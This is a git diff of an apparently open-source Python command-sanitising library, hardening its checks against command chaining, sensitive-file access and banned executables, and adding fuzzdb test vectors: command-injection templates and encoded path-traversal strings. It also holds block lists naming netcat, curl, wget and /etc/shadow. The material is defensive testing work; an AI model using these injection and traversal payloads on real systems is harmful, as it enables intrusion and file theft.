diff --git a/src/security/safe_command/api.py b/src/security/safe_command/api.py index a11c646..9713de8 100644 --- a/src/security/safe_command/api.py +++ b/src/security/safe_command/api.py @@ -1,11 +1,25 @@ -from pathlib import Path import shlex +from re import compile as re_compile +from pathlib import Path +from glob import iglob +from os import getenv, get_exec_path, access, X_OK +from os.path import expanduser, expandvars +from shutil import which +from subprocess import CompletedProcess +from typing import Union, Optional, List, Tuple, Set, FrozenSet, Sequence, Callable, Iterator from security.exceptions import SecurityException +ValidRestrictions = Optional[Union[FrozenSet[str], Sequence[str]]] +ValidCommand = Union[str, List[str]] + DEFAULT_CHECKS = frozenset( - ("PREVENT_COMMAND_CHAINING", "PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES") + ("PREVENT_COMMAND_CHAINING", + "PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES", + "PREVENT_COMMON_EXPLOIT_EXECUTABLES", + ) ) -SENSITIVE_FILE_NAMES = frozenset( + +SENSITIVE_FILE_PATHS = frozenset( ( "/etc/passwd", "/etc/shadow", @@ -19,64 +33,613 @@ ) ) -BANNED_EXECUTABLES = frozenset(("nc", "curl", "wget", "dpkg", "rpm")) +BANNED_EXECUTABLES = frozenset( + ("nc", "netcat", "ncat", "curl", "wget", "dpkg", "rpm")) +BANNED_PATHTYPES = frozenset( + ("mount", "symlink", "block_device", "char_device", "fifo", "socket")) +BANNED_OWNERS = frozenset(("root", "admin", "wheel", "sudo")) +BANNED_GROUPS = frozenset(("root", "admin", "wheel", "sudo")) +BANNED_COMMAND_CHAINING_SEPARATORS = frozenset(("&", ";", "|", "\n")) +BANNED_COMMAND_AND_PROCESS_SUBSTITUTION_OPERATORS = frozenset( + ("$(", "`", "<(", ">(")) +BANNED_COMMAND_CHAINING_EXECUTABLES = frozenset(( + "eval", "exec", "-exec", "env", "source", "sudo", "su", "gosu", "sudoedit", + "xargs", "awk", "perl", "python", "ruby", "php", "lua", "sqlplus", + "expect", "screen", "tmux", "byobu", "byobu-ugraph", "time", + "nohup", "at", "batch", "anacron", "cron", "crontab", "systemctl", "service", "init", "telinit", + "systemd", "systemd-run" +)) +COMMON_SHELLS = frozenset(("sh", "bash", "zsh", "csh", "rsh", "tcsh", "tclsh", "ksh", "dash", "ash", + "jsh", "jcsh", "mksh", "wsh", "fish", "busybox", "powershell", "pwsh", "pwsh-preview", "pwsh-lts")) +ALLOWED_SHELL_EXPANSION_OPERATORS = frozenset(('-', '=', '?', '+')) +BANNED_SHELL_EXPANSION_OPERATORS = frozenset( + ("!", "*", "@", "#", "%", "/", "^", ",")) -def run(original_func, command, *args, restrictions=DEFAULT_CHECKS, **kwargs): - check(command, restrictions) + +def run(original_func: Callable, command: ValidCommand, *args, restrictions: ValidRestrictions = DEFAULT_CHECKS, **kwargs) -> Union[CompletedProcess, None]: + # If there is a command and it passes the checks pass it the original function call + check(command, restrictions, **kwargs) return _call_original(original_func, command, *args, **kwargs) call = run -def _call_original(original_func, command, *args, **kwargs): +def _call_original(original_func: Callable, command: ValidCommand, *args, **kwargs) -> Union[CompletedProcess, None]: return original_func(command, *args, **kwargs) -def check(command, restrictions): - assert isinstance(command, (str, list)) +def _get_env_var_value(var: str, venv: Optional[dict] = None, default: Optional[str] = None) -> str: + """ + Try to get the value of the environment variable var. + First check the venv if it is provided and the variable is set. + then check for a value with os.getenv then with os.path.expandvars. + Returns an empty string if the variable is not set. + """ + + # Use the venv if it is provided and the variable is set, even when it is an empty string + if venv and (value := venv.get(var)) is not None: + return value + + # Try os.getenv first + if (value := getenv(var)): + return value + + if not var.startswith("$"): + var = f"${var}" # expandvars takes a var in form $var or ${var} + # Try os.path.expandvars + if (value := expandvars(var)) != var: + return value + else: + return default or "" + + +def _strip_quotes(string: str) -> str: + """ + Strips either type of quotes but not both + """ + if string.startswith("'") and string.endswith("'"): + return string.strip("'") + elif string.startswith('"') and string.endswith('"'): + return string.strip('"') + else: + return string + + +def _replace_all(string: str, replacements: dict, reverse=False) -> str: + for old, new in replacements.items(): + if reverse: + string = string.replace(new, old) + else: + string = string.replace(old, new) + return string + + +def _simple_shell_math(expression: Union[str, Iterator[str]], venv: dict, operator: str = '+') -> int: + """ + Handles arithmetic expansion of bracket paramters like ${HOME:1+1:5-2} == ${HOME:2:3} + Only supports + - for now since * / % are banned shell expansion operators + venv is used since env vars can be set or modified while evaluating the arithmetic expansion + + Implementation is based on Bash shell arithmetic rules: + https://www.gnu.org/software/bash/manual/html_node/Shell-Arithmetic.html + """ + + ALLOWED_OPERATORS = "+-" + + def is_valid_shell_number(string: str) -> bool: + return string.lstrip('+-').replace(".", "", 1).isnumeric() + + def is_operator(char: str) -> bool: + return char in ALLOWED_OPERATORS + + def is_assignment_operator(char: str) -> bool: + return char == "=" + + def evaluate_stack(stack: list, venv: dict) -> float: + if not stack: + return 0 + + # Join items in the stack to form a string for evaluation + stack_str = ''.join(stack) + + # If the stack is a number return it + if is_valid_shell_number(stack_str): + return float(stack_str) + + # If its not a number it is handled as a shell var + var = stack_str + if var.startswith("$"): + var = var[1:] + if var.startswith("{") and var.endswith("}"): + var = var[1:-1] + + # Unset vars and vars set to empty strings are treated as 0 + value = _get_env_var_value(var, venv, default="0") + if is_valid_shell_number(value): + return float(value) + else: + raise ValueError("Invalid arithmetic expansion") + + # Main function body + value = 0 + stack = [] + char = "" + + if isinstance(expression, str): + # Whitespace is ignored when evaluating the expression + expression = expression.replace(' ', "").replace( + "\t", "").replace("\n", "") + + # Raise an error if the last char in the expression is an operator + last_char = expression[-1] if expression else "" + if last_char and (is_operator(last_char) or is_assignment_operator(last_char)): + raise ValueError( + f"Invalid arithmetic expansion. operand expected (error token is '{last_char}')") + + if expression.startswith("-"): + operator = "-" + # More than one leading - is allowed by shell but has no effect different from one - + expression = expression.lstrip("-") + else: + # leading +(s) are allowed by shell but have no effect + expression = expression.lstrip("+") + + # Create an iterator of all non-whitespace chars in the expression + expr_iter = iter(expression) + else: + # If the expression is already an iterator (when called recursively) use it as is + expr_iter = expression + + # Recursively evaluate the expression until the iterator is exhausted + while (char := next(expr_iter, "")): + did_lookahead = False + + if is_operator(char): + # Check if the operator is followed by an equals sign "=" (+= or -=) + next_char = next(expr_iter, "") + did_lookahead = True + + # Evaluate the stack and update the value whenever a + or - is encountered, + stack_value = evaluate_stack(stack, venv) + if operator == "-": + stack_value = -stack_value + value += stack_value + + # Reset the stack to only next_char if the operator is not followed by an equals sign "=" + if not is_assignment_operator(next_char): + stack = [next_char] + + # So assignment is handled correctly by the next if block + operator = char + char = next_char + + if is_assignment_operator(char): + var = ''.join(stack) + if not var: + raise ValueError( + "Invalid arithmetic expansion. variable expected") + + # Recursively evaluate the expression after the assignment operator + assignment_value = _simple_shell_math(expr_iter, venv, operator) + if operator == "-": + assignment_value = -assignment_value + value += assignment_value + + # Set the variable to the evaluated value depending on whether it was an assignment or an increment + if did_lookahead: + # Increment the variable by the assignment value + venv[var] = str( + int(float(venv.get(var, 0)) + assignment_value)) + else: + # Set the variable to the assignment value + venv[var] = str(assignment_value) + + # Clear the stack and continue to the next char + stack.clear() + + elif not did_lookahead: + # Add the char to the stack if not added during the lookahead + stack.append(char) + + # Evaluate what is left in the stack after the iterator is exhausted + stack_value = evaluate_stack(stack, venv) + if operator == "-": + stack_value = -stack_value + value += stack_value + + # Floats can be used in shells but the value is truncated to an int + return int(value) + + +def _shell_expand(command: str, venv: Optional[dict] = None) -> str: + """ + Expand shell variables and shell expansions in the command string. + Implementation is based on Bash expansion rules: + https://www.gnu.org/software/bash/manual/html_node/Shell-Expansions.html + """ + + PARAM_EXPANSION_REGEX = re_compile( + r'(?P\$(?P[a-zA-Z_][a-zA-Z0-9_]*|\{[^{}\$]+?\}))') + BRACE_EXPANSION_REGEX = re_compile( + r'(?P\S*(?P\{[^{}\$]+?\})\S*)') + + # To store {placeholder : invalid_match} pairs to reinsert after the loop + invalid_matches = {} + venv = venv or {} # To store env vars set during expansion + if "IFS" not in venv: + # Set the default IFS to space if it is not set explicitly in the environment + # since it is not always returned correctly by os.getenv or os.path.expandvars on all systems + venv["IFS"] = _get_env_var_value("IFS", venv, default=" ") + + while (match := (PARAM_EXPANSION_REGEX.search(command) or BRACE_EXPANSION_REGEX.search(command))): + full_expansion, content = match.groups() + inside_braces = content[1:-1] if content.startswith( + "{") and content.endswith("}") else content + + if match.re is PARAM_EXPANSION_REGEX: + # Handles Parameter expansion ${var:1:2}, ${var:1}, ${var:1:}, ${var:1:2:3} + # and ${var:-defaultval}, ${var:=defaultval}, ${var:+defaultval}, ${var:?defaultval} + # https://www.gnu.org/software/bash/manual/html_node/Shell-Parameter-Expansion.html + + # Blocks ${!prefix*} ${!prefix@} ${!name[@]} ${!name[*]} ${#parameter} ${parameter#word} ${parameter##word} + # ${parameter/pattern/string} ${parameter%word} ${parameter%%word} ${parameter@operator} + for banned_expansion_operator in BANNED_SHELL_EXPANSION_OPERATORS: + if banned_expansion_operator in inside_braces: + raise SecurityException( + f"Disallowed shell expansion operator: {banned_expansion_operator}") + + var, *expansion_params = inside_braces.split(":") + + value, operator, default = "", "", "" + start_slice, end_slice = None, None + if expansion_params: + expansion_param_1 = expansion_params[0] + + # If the first char is empty or a digit or a space then it is a slice expansion + # like ${var:1:2}, ${var:1}, ${var:1:}, ${var:1:2:3} ${var: -1} ${var:1+1:5-2} ${var::} + if not expansion_param_1 or expansion_param_1[0].isalnum() or expansion_param_1[0] == " ": + try: + start_slice = _simple_shell_math( + expansion_param_1, venv) + if len(expansion_params) > 1: + expansion_param_2 = expansion_params[1] + end_slice = _simple_shell_math( + expansion_param_2, venv) + except ValueError as e: + raise SecurityException( + f"Invalid arithmetic in shell expansion: {e}") + + elif (operator := expansion_param_1[0]) in ALLOWED_SHELL_EXPANSION_OPERATORS: + # If the first char is a shell expansion operator then it is a default value expansion + # like ${var:-defaultval}, ${var:=defaultval}, ${var:+defaultval}, ${var:?defaultval} + default = ':'.join(expansion_params)[1:] + + value = _get_env_var_value(var, venv, default="") + if start_slice is not None: + value = value[start_slice:end_slice] + elif not operator or operator == "?": + value = value + elif operator in "-=": + value = value or default + if operator == "=": + # Store the value in the venv if the operator is = + venv[var] = value + elif operator == "+": + value = default if value else "" + + command = command.replace(full_expansion, value, 1) + + elif match.re is BRACE_EXPANSION_REGEX: + # Handles Brace and sequence expansion like {1..10..2}, {a,b,c}, {1..10}, {1..-1} + # https://www.gnu.org/software/bash/manual/html_node/Brace-Expansion.html + values = [] + escape_placeholders = { + f"{hash(full_expansion)}comma": "\\,", + f"{hash(full_expansion)}lbrace": "\\{", + f"{hash(full_expansion)}rbrace": "\\}", + } + # Docs state: "A { or ‘,’ may be quoted with a backslash to prevent its being considered part of a brace expression." + inside_braces_no_escapes = _replace_all( + inside_braces, escape_placeholders, reverse=True) + + if ',' in inside_braces_no_escapes and inside_braces_no_escapes.count("{") == inside_braces_no_escapes.count("}"): + # Brace expansion + for var in inside_braces_no_escapes.split(','): + var = _replace_all(var, escape_placeholders) + item = full_expansion.replace( + content, _strip_quotes(var), 1) + values.append(item) + + elif len(seq_params := inside_braces.split('..')) in (2, 3): + # Sequence expansion + start, end = seq_params[:2] + if start.replace("-", "", 1).isdigit() and end.replace("-", "", 1).isdigit(): + # Numeric sequences + start, end = int(start), int(end) + step = int(seq_params[2]) if len(seq_params) == 3 else 1 + format_fn = str + valid_sequence = True + elif start.isalnum() and end.isalnum() and len(start) == len(end) == 1: + # Alphanumeric sequences + start, end = ord(start), ord(end) + step = 1 + format_fn = chr + # Step is not allowed for character sequences + valid_sequence = (len(seq_params) == 2) + else: + # Invalid sequences + start, end, step = 0, 0, 0 + valid_sequence = False + + if valid_sequence: + if start <= end and step > 0: + sequence = range(start, end+1, step) + elif start <= end and step < 0: + sequence = range(end-1, start-1, step) + elif start > end and step > 0: + sequence = range(start, end-1, -step) + elif start > end and step < 0: + sequence = reversed(range(start, end-1, step)) + else: + # When syntax is valid but step is 0 the sequence is just the value inside the braces so the expansion is replaced with the value + sequence = [inside_braces] + + # Apply the format function (str or chr) to each int in the sequence + values.extend(full_expansion.replace( + content, format_fn(i), 1) for i in sequence) + + else: + # Replace invalid expansion to prevent infinite loop (from matching again) and store the content to reinsert after the loop + placeholder = str(hash(content)) + invalid_matches[placeholder] = content + values.append(full_expansion.replace(content, placeholder)) + + # Replace the full expansion with the expanded values + value = ' '.join(values) + command = command.replace(full_expansion, value, 1) + + # Reinsert invalid matches after the loop exits + command = _replace_all(command, invalid_matches) + return command + + +def _space_redirection_operators(command: str) -> str: + """ + Space out redirection operators to avoid them being combined with the next or previous command part when splitting. + Implementation is based on Bash redirection rules: + https://www.gnu.org/software/bash/manual/html_node/Redirections.html + """ + REDIRECTION_OPERATORS_REGEX = re_compile( + r'(?![<>]+\()(<>?&?-?(?:\d+|\|)?|<>)') + return REDIRECTION_OPERATORS_REGEX.sub(r' \1 ', command) + + +def _recursive_shlex_split(command: str) -> Iterator[str]: + """ + Recursively split the command string using shlex.split to handle nested/quoted shell syntax. + """ + for cmd_part in shlex.split(command, comments=True): + yield cmd_part + + # Strip either type of quotes but not both + cmd_part = _strip_quotes(cmd_part) + + if '"' in cmd_part or "'" in cmd_part or " " in cmd_part: + yield from _recursive_shlex_split(cmd_part) + + +def _parse_command(command: ValidCommand, venv: Optional[dict] = None, shell: Optional[bool] = True) -> Tuple[str, List[str]]: + """ + Expands the shell exspansions in the command then parses the expanded command into a list of command parts. + """ if isinstance(command, str): - if not command.strip(): - # Empty commands are safe - return - parsed_command = shlex.split(command, comments=True) - if isinstance(command, list): - if not command: - # Empty commands are safe - return - parsed_command = command + command_str = command + elif isinstance(command, list): + command_str = " ".join(command) + else: + raise TypeError("Command must be a str or a list") - if "PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES" in restrictions: - check_sensitive_files(parsed_command) + if not command_str: + # No need to expand or parse an empty command + return ("", []) + + spaced_command = _space_redirection_operators(command_str) + expanded_command = _shell_expand( + spaced_command, venv) if shell else spaced_command + parsed_command = list(_recursive_shlex_split(expanded_command)) + return expanded_command, parsed_command + + +def _path_is_executable(path: Path) -> bool: + return access(path, X_OK) + + +def _resolve_executable_path(executable: Optional[str], venv: Optional[dict] = None) -> Optional[Path]: + """ + Try to resolve the path of the executable using the which command and the system PATH. + """ + if not executable: + return None # Return None if the executable is not set so does not resolve to /usr/local/bin + + if executable_path := which(executable, path=venv.get("PATH") if venv is not None else None): + return Path(executable_path).resolve() + + # Explicitly check if the executable is in the system PATH or absolute when which fails + for path in [""] + get_exec_path(env=venv if venv is not None else None): + if (executable_path := Path(path) / executable).exists() and _path_is_executable(executable_path): + return executable_path.resolve() + + return None + + +def _resolve_paths_in_parsed_command(parsed_command: List[str], venv: Optional[dict] = None) -> Tuple[Set[Path], Set[str]]: + """ + Create Path objects from the parsed commands and resolve symlinks then add to sets of unique Paths + and absolute path strings for comparison with the sensitive files, common exploit executables and group/owner checks. + """ + + abs_paths, abs_path_strings = set(), set() + + for cmd_part in parsed_command: + + if "~" in cmd_part: + # Expand ~ and ~user constructions in the cmd_part + cmd_part = expanduser(cmd_part) + + # Check if the cmd_part is an executable and resolve the path + if executable_path := _resolve_executable_path(cmd_part, venv): + abs_paths.add(executable_path) + abs_path_strings.add(str(executable_path)) + + # Handle any globbing characters and repeating slashes from the command and resolve symlinks to get absolute path + for path in iglob(cmd_part, recursive=True): + path = Path(path) + + # When its a symlink both the absolute path of the symlink + # and the resolved path of its target are added to the sets + if path.is_symlink(): + path = path.absolute() + abs_paths.add(path) + abs_path_strings.add(str(path)) + + abs_path = Path(path).resolve() + abs_paths.add(abs_path) + abs_path_strings.add(str(abs_path)) + + # Check if globbing and/or resolving symlinks returned an executable and add to the sets + if executable_path := _resolve_executable_path(str(path), venv): + abs_paths.add(executable_path) + abs_path_strings.add(str(executable_path)) + + # Check if globbing and/or resolving symlinks returned a directory and add all files in the directory to the sets + if abs_path.is_dir(): + for file in abs_path.rglob("*"): + file = file.resolve() + abs_paths.add(file) + abs_path_strings.add(str(file)) + + return abs_paths, abs_path_strings + + +def check(command: ValidCommand, restrictions: ValidRestrictions, **kwargs) -> None: + if not restrictions: + # No restrictions no checks + return None + + # venv is a copy to avoid modifying the original Popen kwargs or None to default to using os.environ when env is not set + venv = dict(**Popen_env) if (Popen_env := kwargs.get("env")) is not None else None + + # Check if the executable is set by the Popen kwargs (either executable or shell) + # Executable takes precedence over shell. see subprocess.py line 1593 + executable_path = _resolve_executable_path(kwargs.get("executable"), venv) + shell = executable_path.name in COMMON_SHELLS if executable_path else kwargs.get("shell") + + expanded_command, parsed_command = _parse_command(command, venv, shell) + if not parsed_command: + # Empty commands are safe + return None + + # If the executable is not set by the Popen kwargs it is the first command part (args). see subprocess.py line 1596 + if not executable_path: + executable_path = _resolve_executable_path(parsed_command[0], venv) + + abs_paths, abs_path_strings = _resolve_paths_in_parsed_command( + parsed_command, venv) if "PREVENT_COMMAND_CHAINING" in restrictions: - check_multiple_commands(command) + check_multiple_commands(expanded_command, parsed_command) + + if "PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES" in restrictions: + check_sensitive_files(expanded_command, abs_path_strings) if "PREVENT_COMMON_EXPLOIT_EXECUTABLES" in restrictions: - check_banned_executable(parsed_command) + check_banned_executable(expanded_command, abs_path_strings) + prevent_uncommon_path_types = "PREVENT_UNCOMMON_PATH_TYPES" in restrictions + prevent_admin_owned_files = "PREVENT_ADMIN_OWNED_FILES" in restrictions -def check_sensitive_files(parsed_command: list): - for cmd in parsed_command: - path = Path(cmd) - if any(str(path).endswith(sensitive) for sensitive in SENSITIVE_FILE_NAMES): - raise SecurityException("Disallowed access to sensitive file: %s", cmd) + for path in abs_paths: + # to avoid blocking the executable itself since most are symlinks to the actual executable + # and owned by root with group wheel or sudo + if path == executable_path: + continue + if prevent_uncommon_path_types: + check_path_type(path) + + if prevent_admin_owned_files: + check_file_owner(path) + check_file_group(path) + + +def check_multiple_commands(expanded_command: str, parsed_command: List[str]) -> None: + # Since shlex.split removes newlines from the command, it would not be present in the parsed_command and + # must be checked for in the expanded command string + if '\n' in expanded_command: + raise SecurityException( + "Multiple commands not allowed. Newline found.") + + for cmd_part in parsed_command: + if any(seperator in cmd_part for seperator in BANNED_COMMAND_CHAINING_SEPARATORS): + raise SecurityException( + f"Multiple commands not allowed. Separators found.") + + if any(substitution_op in cmd_part for substitution_op in BANNED_COMMAND_AND_PROCESS_SUBSTITUTION_OPERATORS): + raise SecurityException( + f"Multiple commands not allowed. Process substitution operators found.") + + if cmd_part.strip() in BANNED_COMMAND_CHAINING_EXECUTABLES | COMMON_SHELLS: + raise SecurityException( + f"Multiple commands not allowed. Executable {cmd_part} allows command chaining.") + + +def check_sensitive_files(expanded_command: str, abs_path_strings: Set[str]) -> None: + for sensitive_path in SENSITIVE_FILE_PATHS: + # First check the absolute path strings for the sensitive files + # Then handle edge cases when a sensitive file is part of a command but the path could not be resolved + if ( + any(abs_path_string.endswith(sensitive_path) + for abs_path_string in abs_path_strings) + or sensitive_path in expanded_command + ): + raise SecurityException( + f"Disallowed access to sensitive file: {sensitive_path}") + + +def check_banned_executable(expanded_command: str, abs_path_strings: Set[str]) -> None: + for banned_executable in BANNED_EXECUTABLES: + # First check the absolute path strings for the banned executables + # Then handle edge cases when a banned executable is part of a command but the path could not be resolved + if ( + any((abs_path_string.endswith( + f"/{banned_executable}") for abs_path_string in abs_path_strings)) + or expanded_command.startswith(f"{banned_executable} ") + or f"bin/{banned_executable}" in expanded_command + or f" {banned_executable} " in expanded_command + ): + raise SecurityException( + f"Disallowed command: {banned_executable}") + + +def check_path_type(path: Path) -> None: + for pathtype in BANNED_PATHTYPES: + if getattr(path, f"is_{pathtype}")(): + raise SecurityException( + f"Disallowed access to path type {pathtype}: {path}") -def check_multiple_commands(command: str): - separators = ["&", ";", "|", "\n"] - if isinstance(command, str): - stripped = command.strip() - if any(sep in stripped for sep in separators): - raise SecurityException("Multiple commands not allowed: %s", command) - if isinstance(command, list): - if any(cmd in separators for cmd in command): - raise SecurityException("Multiple commands not allowed: %s", command) +def check_file_owner(path: Path) -> None: + owner = path.owner() + if owner in BANNED_OWNERS: + raise SecurityException( + f"Disallowed access to file owned by {owner}: {path}") -def check_banned_executable(parsed_command: list): - if any(cmd in BANNED_EXECUTABLES for cmd in parsed_command): - raise SecurityException("Disallowed command: %s", parsed_command) +def check_file_group(path: Path) -> None: + group = path.group() + if group in BANNED_GROUPS: + raise SecurityException( + f"Disallowed access to file owned by {group}: {path}") diff --git a/tests/safe_command/fuzzdb/_copyright.txt b/tests/safe_command/fuzzdb/_copyright.txt new file mode 100644 index 0000000..28ebfdf --- /dev/null +++ b/tests/safe_command/fuzzdb/_copyright.txt @@ -0,0 +1,58 @@ +Copyright (c) 2010-2019, Adam Muntner +All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: + +Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. +Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. +Neither the name of fuzzdb nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +Licensed under Creative Commons - By Attribution + +see + +http://creativecommons.org/licenses/by/3.0/legalcode + +---- + +contains dictionaries from Skipfish + Copyright 2010 Michal Zalewski + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + +---- + +The MIT License (MIT) + +Copyright (c) 2015 Max Woolf + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. + diff --git a/tests/safe_command/fuzzdb/command-injection-template.txt b/tests/safe_command/fuzzdb/command-injection-template.txt new file mode 100644 index 0000000..d6342c4 --- /dev/null +++ b/tests/safe_command/fuzzdb/command-injection-template.txt @@ -0,0 +1,46 @@ +These test vectors were taken from the fuzzdb project under the terms of the license in _copyright.txt +{cmd} +;{cmd} +;{cmd}; +|{cmd} +<{cmd}; +<{cmd}\n +&{cmd} +&{cmd}& +&&{cmd} +&&{cmd}&& +\n{cmd} +\n{cmd}\n +'{cmd}' +`{cmd}` +;{cmd}| +;{cmd}/n +|{cmd}; +a);{cmd} +a;{cmd} +a);{cmd} +a;{cmd}; +a);{cmd}| +FAIL||{cmd} +CMD=$'{cmd}';$CMD +;CMD=$'{cmd}';$CMD +^CMD=$'{cmd}';$CMD +|CMD=$'{cmd}';$CMD +&CMD=$'{cmd}';$CMD +&&CMD=$'{cmd}';$CMD +FAIL||CMD=$'{cmd}';$CMD +CMD=$\'{cmd}\';$CMD +;CMD=$\'{cmd}\';$CMD +^CMD=$\'{cmd}\';$CMD +|CMD=$\'{cmd}\';$CMD +&CMD=$\'{cmd}\';$CMD +&&CMD=$\'{cmd}\';$CMD +FAIL||CMD=$\'{cmd}\';$CMD +CMD=$"{cmd}";$CMD +;CMD=$"{cmd}";$CMD +^CMD=$"{cmd}";$CMD +|CMD=$"{cmd}";$CMD +&CMD=$"{cmd}";$CMD +&&CMD=$"{cmd}";$CMD +FAIL||CMD=$"{cmd}";$CMD +;system('{cmd}') diff --git a/tests/safe_command/fuzzdb/traversals-8-deep-exotic-encoding.txt b/tests/safe_command/fuzzdb/traversals-8-deep-exotic-encoding.txt new file mode 100644 index 0000000..b7feae0 --- /dev/null +++ b/tests/safe_command/fuzzdb/traversals-8-deep-exotic-encoding.txt @@ -0,0 +1,531 @@ +These test vectors were taken from the fuzzdb project under the terms of the license in _copyright.txt +/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE} +/0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE} +/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE} +/0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE} +/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE} +/0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE} +/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE} +/0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE} +/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE} +/0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE} +/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE} +/0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE} +/0x2e0x2e/0x2e0x2e/{FILE} +/0x2e0x2e\0x2e0x2e\{FILE} +/0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE} +/0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE} +/0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE} +/0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE} +/0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE} +/0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE} +/0x2e0x2e0x2f0x2e0x2e0x2f{FILE} +/0x2e0x2e0x2f{FILE} +/0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE} +/0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE} +/0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE} +/0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE} +/0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE} +/0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE} +/0x2e0x2e0x5c0x2e0x2e0x5c{FILE} +/0x2e0x2e0x5c{FILE} +/0x2e0x2e/{FILE} +/0x2e0x2e\{FILE} +/..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE} +/..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE} +/..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE} +/..0x2f..0x2f..0x2f..0x2f..0x2f{FILE} +/..0x2f..0x2f..0x2f..0x2f{FILE} +/..0x2f..0x2f..0x2f{FILE} +/..0x2f..0x2f{FILE} +/..0x2f{FILE} +/..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE} 